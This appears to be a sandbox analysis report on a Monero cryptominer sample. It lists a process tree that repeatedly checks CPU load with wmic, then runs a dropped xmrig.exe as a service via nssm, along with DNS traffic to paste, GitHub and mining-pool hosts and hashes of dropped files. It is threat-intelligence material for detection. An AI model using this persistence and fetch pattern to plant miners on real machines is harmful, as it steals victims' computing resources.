C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3576
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2196
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3340
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4088
-
-
-
C:\Users\Admin\moneroocean\nssm.exeC:\Users\Admin\moneroocean\nssm.exe1⤵
- Executes dropped EXE
PID:1944 -
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2432
-
Network
-
Remote address:8.8.8.8:53Requestrentry.coIN AResponserentry.coIN A104.26.2.16rentry.coIN A172.67.75.40rentry.coIN A104.26.3.16
-
Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
-
Remote address:8.8.8.8:53Requestraw.githubusercontent.comIN AResponseraw.githubusercontent.comIN A185.199.110.133raw.githubusercontent.comIN A185.199.108.133raw.githubusercontent.comIN A185.199.109.133raw.githubusercontent.comIN A185.199.111.133
-
Remote address:8.8.8.8:53Requestnexusrules.officeapps.live.comIN AResponsenexusrules.officeapps.live.comIN CNAMEprod.nexusrules.live.com.akadns.netprod.nexusrules.live.com.akadns.netIN A52.111.236.21
-
Remote address:8.8.8.8:53Requestself.events.data.microsoft.comIN AResponseself.events.data.microsoft.comIN CNAMEself-events-data.trafficmanager.netself-events-data.trafficmanager.netIN CNAMEonedscolprdcus02.centralus.cloudapp.azure.comonedscolprdcus02.centralus.cloudapp.azure.comIN A20.44.10.122
-
Remote address:8.8.8.8:53Requestctldl.windowsupdate.comIN AResponsectldl.windowsupdate.comIN CNAMEctldl.windowsupdate.com.delivery.microsoft.comctldl.windowsupdate.com.delivery.microsoft.comIN CNAMEwu-b-net.trafficmanager.netwu-b-net.trafficmanager.netIN CNAMEdownload.windowsupdate.com.edgesuite.netdownload.windowsupdate.com.edgesuite.netIN CNAMEa767.dspw65.akamai.neta767.dspw65.akamai.netIN A88.221.83.131a767.dspw65.akamai.netIN A88.221.83.145
-
Remote address:8.8.8.8:53Requestgulf.moneroocean.streamIN AResponsegulf.moneroocean.streamIN CNAMEmonerooceans.streammonerooceans.streamIN A149.102.143.109
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestctldl.windowsupdate.comIN AResponsectldl.windowsupdate.comIN CNAMEctldl.windowsupdate.com.delivery.microsoft.comctldl.windowsupdate.com.delivery.microsoft.comIN CNAMEwu-b-net.trafficmanager.netwu-b-net.trafficmanager.netIN CNAMEdownload.windowsupdate.com.edgesuite.netdownload.windowsupdate.com.edgesuite.netIN CNAMEa767.dspw65.akamai.neta767.dspw65.akamai.netIN A88.221.83.131a767.dspw65.akamai.netIN A88.221.83.145
-
Remote address:8.8.8.8:53Request16.2.26.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request133.110.199.185.in-addr.arpaIN PTRResponse133.110.199.185.in-addr.arpaIN PTRcdn-185-199-110-133githubcom
-
Remote address:8.8.8.8:53Request21.236.111.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request122.10.44.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestocsp.digicert.comIN AResponseocsp.digicert.comIN CNAMEocsp.edge.digicert.comocsp.edge.digicert.comIN CNAMEfp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.2be4.phicdn.netIN CNAMEfp2e7a.wpc.phicdn.netfp2e7a.wpc.phicdn.netIN A192.229.221.95
-
Remote address:8.8.8.8:53Request131.83.221.88.in-addr.arpaIN PTRResponse131.83.221.88.in-addr.arpaIN PTRa88-221-83-131deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request109.143.102.149.in-addr.arpaIN PTRResponse109.143.102.149.in-addr.arpaIN PTRvmi1690904 contaboservernet
-
1.2kB 20.2kB 16 26
-
74.8kB 3.8MB 1565 2733
-
3.5kB 147.6kB 64 110
-
10.4kB 9.0kB 78 63
-
624 B 1.5kB 9 9
DNS Request
rentry.co
DNS Response
104.26.2.16172.67.75.40104.26.3.16
DNS Request
8.8.8.8.in-addr.arpa
DNS Request
raw.githubusercontent.com
DNS Response
185.199.110.133185.199.108.133185.199.109.133185.199.111.133
DNS Request
nexusrules.officeapps.live.com
DNS Response
52.111.236.21
DNS Request
self.events.data.microsoft.com
DNS Response
20.44.10.122
DNS Request
ctldl.windowsupdate.com
DNS Response
88.221.83.13188.221.83.145
DNS Request
gulf.moneroocean.stream
DNS Response
149.102.143.109
DNS Request
95.221.229.192.in-addr.arpa
DNS Request
ctldl.windowsupdate.com
DNS Response
88.221.83.13188.221.83.145
-
496 B 974 B 7 7
DNS Request
16.2.26.104.in-addr.arpa
DNS Request
133.110.199.185.in-addr.arpa
DNS Request
21.236.111.52.in-addr.arpa
DNS Request
122.10.44.20.in-addr.arpa
DNS Request
ocsp.digicert.com
DNS Response
192.229.221.95
DNS Request
131.83.221.88.in-addr.arpa
DNS Request
109.143.102.149.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
-
Filesize
1KB
MD558f4289b832fa5b46b1e56574800c039
SHA13e1dab4adfe0dd6bec311b5d4be14065032a14e8
SHA2569859c147792e4ac8df5f6e0c4b364fe887adc3d2b2945d0d234a573af03d1599
SHA512c56032166ae0c98f5d52c715f2f1b05aafc6b0b579246ebe75c57a53d196fbf17ccfec0612e827bd6c563b1dcb19663f7bd02291d37876c9f9c6d7969da7cd8c
-
Filesize
1KB
MD53d24ee7706a2ca48bb579baeb969501f
SHA1431fec5f67ff8d36f400cd6af727fc526debc7c9
SHA256e09febd2ab7f643e230292f85757a779ff5de3ba7673405c228f213de4040516
SHA51298c52f06707cfa67cae135a64fcf1588155e956abae02ae352c657f8f58960f63ff6cabc93fc31d65398c037e828fab5fbbd2ba2bffd9b0261c835afeb2aaac6
-
Filesize
1KB
MD567ff25a033958f106871118855698a34
SHA1db9d1b75f76ffb6b7e716895c2deb8cdaad619c3
SHA256af7ff1b4cc206e217bc1c64dd04ff3343d843c67da2b720cc30f26ab6654e0c8
SHA512e5d3d44944335be91b74694520f9c1c22bce034ddd988e0c2347c80f105ced76b0b4b51e1070daccc8036c8588df2172a40a3b3474c81b848dce1adf59f42549
-
Filesize
1KB
MD52eea9086a64ae0c05611ce383a06f3fe
SHA14a0fe7b67844691bbf619ee6c72fccdd173c7c63
SHA25634680ddb78d7bdb7d0171be0f12bdb10df0099bc169e2f37b16eda1db41d6e5c
SHA512f2dbae91c7dc850d50a414533b1b14175e9ab0ce8981fa1180fd1a0091d97e96cb2c798930f314852b41f0f847695ac7582c4997c7cb7c246aca8d03ad2899e9
-
Filesize
1KB
MD5177699be858188920e96d96485aa9944
SHA1ac6e0adee14b9c9e5e3ba7ae116470a6b08307da
SHA2568ddb92056f9c66477afd7e87b7003defb311c4a600c7066de7fb2d3c98ff2d1a
SHA512a37a426db755ad86dbdf18c170cf9877dccabc2e4eacb3400bab5a7c5581d307f04c3965b646eea0db746184cde022cd8ece95cd68cecd6501061e921706441f
-
Filesize
1KB
MD54e2b3d574b4a2eefbfb9c3531802f36a
SHA19ea941f1a4ab49790da03371716403d67a9f9271
SHA2567e35382700f1aee19ba32b036e9c955fd96944fe13e82e17ade16309de528a5f
SHA512cba4851c8ff52f62125306446dc8272146a41a6172605b89ef64fa1c8572154d8cce940bfd7f5e9a4ca4474785e2a255ca7b839521a1d2e1ec7fff324f2b9db6
-
Filesize
1KB
MD5b4bbeb446e9fd83e350822dada9dbb5e
SHA1e05bf244c928a483af86845622836a4255621a60
SHA2566cc9de80064adeb56e0ee65e69e5e85d4157d4b42a221244f81d1d75ec980df9
SHA51258eb9e09fdc65cc0b3ea4593908edc36b6c6682a12bba07a1fc3a2fd22679e14fcc5d9944fe4567c1c3174d11d1bfce99b7d34dd22ac1064d4e212212e933c8a
-
Filesize
1KB
MD512ff85d31d9e76455b77e6658cb06bf0
SHA145788e71d4a7fe9fd70b2c0e9494174b01f385eb
SHA2561c60ff7821e36304d7b4bcdd351a10da3685e9376775d8599f6d6103b688a056
SHA512fcc4084ab70e49821a3095eeac1ef85cf02c73fdb787047f9f6b345132f069c566581921fac98fab5ddec1a550c266304cce186e1d46957946b6f66dba764d2f
-
Filesize
1KB
MD5e6fb6845a62d23e6923f66f2bca78289
SHA17815f65fb208de5da652cd95d88aa0212f6dcdb4
SHA2562d2dc0c6a58c72166c0757b7b585aa18adb18b20be4efe3222ced23ef39f305e
SHA5126168c44607da62c43f65613e7e6eedd6fea9b513d70e2de8a37e58f770677ddb53927cc6a8c3a6e080224f30c9ceb93bd8fcc2cdbaa9b1fbaafe666ae09222bc
-
Filesize
1KB
MD5afce1bf44dbd13757373795d9c110061
SHA1a321b1949eb2eb7fe39af8fa707c6871701c6e1d
SHA25666e580624d9e435f8a5f28b8ace5a6ab0ea7394f3f798524f77a6ad47038cc0b
SHA512c805c839926f30ddc18b279d8c99682bf4cbb7cb57405251b084fde484601b620f29b79bc0252ae8ade9eb347c8711757b06df4ac6e2d305cbd2e35f7cf8d3f7
-
Filesize
64B
MD58a424e81b5a6078deff05e153c04a0ee
SHA1bf209de0dbc1dbe7c5b5b511bd34bf447a3c049b
SHA25679ce6d6caea4a9eabf8fdbb2a1c58d43fb5a3c500c2dec3fce87c160d2c6bda3
SHA512aa01195e5c1d641304b08fed4a3bffc916972aa0bc20e928204cef1783f38922a03b761cf2010ccbace1ea0d2f18cda4eaeee4d8969f32fbae5f580e4e38522d
-
Filesize
1KB
MD571de3d4e6a902c41e5d87b031a5a1910
SHA138da8e3af858eb6ad51af0aca573ed73c244cb21
SHA25619c786a0d1be5f808940dfb0bfcdf3e78a1e4881cb326fabe044b9c7c2970466
SHA512c3811686eead6874ad81483349e693e1ba89ef4c38d001cfdc5e49c5085d13649940a623a2e3cfd12d3ff887e6d12c11b3a832b09e00577d623cf4d7c03f7554
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
14KB
MD5623f6006f683afdb4b7406e3a4ec35bf
SHA1f63f03d7338317224726eba368f1a045fa2142d7
SHA25621d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b
SHA512df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab
-
Filesize
2KB
MD564cafb884608c751a2bccaca7c582e0f
SHA1924f71ecb4903ab63a13a125e62fd6e5f5d20cb2
SHA2563250e852f2fb3e61bd0642d92f1decac666777da7c4d59d6270ee49fc856151b
SHA512ddd68d3d13bd65f926f6be67ac891c143d6e282ee955871382452f2627ca42ed54e7363d83651b904cdf8054bc1d12a02becd44ac1b5cdc98ac42fc7ebfe97a0
-
Filesize
2KB
MD5eebb7caa8903d6a8ea2dc56ab75e0ae4
SHA166065a02caf6f0663479ae3912a510597db5d801
SHA2567cd56e85159f93f2d68a5bdc1d66dc2e7db6501c03ef44d5962e4af63cbb9eaf
SHA5120fdc6010de9f225df7e41aafbd8959889899dc7e97eb9f68962c98ae61a4e95d66c5ed93bff1bde8abb54b470caa3681101cdf83d8a33ec336ae969a566ef835
-
Filesize
2KB
MD54ff4f7a9566c46d55879d64d352b691f
SHA1e54d30164d45b3e6873d96d8437932c7f42fe1d5
SHA256f302ad0cd5cbc5c104ee01bbf1204bcda33a9169e50734ba0a5c5073fc4560e9
SHA5125e25ac4ab7cf733335e1d07278d0221c7fa7c962c1dcfb43fb476e64805226c569fd3325de0eb6bcc15577d780426b03f6c02cd8520cdf0969fb5d2499bbda87
-
Filesize
2KB
MD5c1bbdf2585e7d15c35c9b81bda9c77d3
SHA132c631dfef28bdfabf735cdd574d456465005b4e
SHA2565c85d4cb70d1229a452e2e17dba8e9d073cdb165d9037de8096b9fb61b293104
SHA5125dce0ff8c63943a5ed45cfb41c982028be00ac11f02d657763ea9833f7eaec11d3f654f4b72696172b0ffd31897f3aa38bdc5db387b1f7b425bfa07a417fc1f0
-
Filesize
2KB
MD5d4f8a13f8c90e2b3b2e7d30a553df39c
SHA15c5303ef682ffcd31e57d1abd900ba5b637d51e4
SHA256f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a
SHA51268b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd
-
Filesize
2KB
MD5c9ef9c214996db3d88f571226910c5d5
SHA1420ba30247b1e09f706557a7704a1ebee5d3165c
SHA256fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1
SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
Filesize
2KB
MD5725d38d9eeadc9c2691063936b01f9ec
SHA1153fd5bd55cfd845516562291a7ab867d68145b5
SHA2560df3cdd812a582b5ddf5c8019fe7aecf03edb5760f4cf2d0c81ba73590a2ec43
SHA512fe2758ddaa974696c733367d479dc54695ee1f177275f3b26d575b3c27b8c968b6bab0ce1e5b715e6513d1f39d880462b3d8cc542507f2eeae531a9a6d337658
-
Filesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
Filesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
Filesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
Filesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e